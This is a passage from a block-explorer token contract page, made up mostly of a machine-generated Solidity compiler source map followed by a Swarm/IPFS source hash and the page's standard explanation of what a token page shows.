:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;;2692:23:1;;;2762:2;2747:18;;2734:32;;-1:-1:-1;2813:2:1;2798:18;;;2785:32;;2507:316;-1:-1:-1;2507:316:1:o;2828:592::-;2941:6;2949;2957;2965;2973;2981;2989;3042:3;3030:9;3021:7;3017:23;3013:33;3010:53;;;3059:1;3056;3049:12;3010:53;-1:-1:-1;;3082:23:1;;;3152:2;3137:18;;3124:32;;-1:-1:-1;3203:2:1;3188:18;;3175:32;;3254:2;3239:18;;3226:32;;-1:-1:-1;3305:3:1;3290:19;;3277:33;;-1:-1:-1;3357:3:1;3342:19;;3329:33;;-1:-1:-1;3409:3:1;3394:19;3381:33;;-1:-1:-1;2828:592:1;-1:-1:-1;2828:592:1:o;3425:388::-;3493:6;3501;3554:2;3542:9;3533:7;3529:23;3525:32;3522:52;;;3570:1;3567;3560:12;3522:52;3609:9;3596:23;3628:31;3653:5;3628:31;:::i;:::-;3678:5;-1:-1:-1;3735:2:1;3720:18;;3707:32;3748:33;3707:32;3748:33;:::i;:::-;3800:7;3790:17;;;3425:388;;;;;:::o;4078:329::-;4280:2;4262:21;;;4319:1;4299:18;;;4292:29;-1:-1:-1;;;4352:2:1;4337:18;;4330:36;4398:2;4383:18;;4078:329::o;6264:127::-;6325:10;6320:3;6316:20;6313:1;6306:31;6356:4;6353:1;6346:15;6380:4;6377:1;6370:15;6396:128;6463:9;;;6484:11;;;6481:37;;;6498:18;;:::i;8801:125::-;8866:9;;;8887:10;;;8884:36;;;8900:18;;:::i;8931:168::-;9004:9;;;9035;;9052:15;;;9046:22;;9032:37;9022:71;;9073:18;;:::i;9104:217::-;9144:1;9170;9160:132;;9214:10;9209:3;9205:20;9202:1;9195:31;9249:4;9246:1;9239:15;9277:4;9274:1;9267:15;9160:132;-1:-1:-1;9306:9:1;;9104:217::o;9458:127::-;9519:10;9514:3;9510:20;9507:1;9500:31;9550:4;9547:1;9540:15;9574:4;9571:1;9564:15;9590:251;9660:6;9713:2;9701:9;9692:7;9688:23;9684:32;9681:52;;;9729:1;9726;9719:12;9681:52;9761:9;9755:16;9780:31;9805:5;9780:31;:::i;9846:980::-;10108:4;10156:3;10145:9;10141:19;10187:6;10176:9;10169:25;10213:2;10251:6;10246:2;10235:9;10231:18;10224:34;10294:3;10289:2;10278:9;10274:18;10267:31;10318:6;10353;10347:13;10384:6;10376;10369:22;10422:3;10411:9;10407:19;10400:26;;10461:2;10453:6;10449:15;10435:29;;10482:1;10492:195;10506:6;10503:1;10500:13;10492:195;;;10571:13;;-1:-1:-1;;;;;10567:39:1;10555:52;;10662:15;;;;10627:12;;;;10603:1;10521:9;10492:195;;;-1:-1:-1;;;;;;;10743:32:1;;;;10738:2;10723:18;;10716:60;-1:-1:-1;;;10807:3:1;10792:19;10785:35;10704:3;9846:980;-1:-1:-1;;;9846:980:1:o;11443:306::-;11531:6;11539;11547;11600:2;11588:9;11579:7;11575:23;11571:32;11568:52;;;11616:1;11613;11606:12;11568:52;11645:9;11639:16;11629:26;;11695:2;11684:9;11680:18;11674:25;11664:35;;11739:2;11728:9;11724:18;11718:25;11708:35;;11443:306;;;;;:::o

Swarm Source

ipfs://fa42849b6386d34c98b4d131529cd2675ced3a3bfec02dc15bb73cb95d363355
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.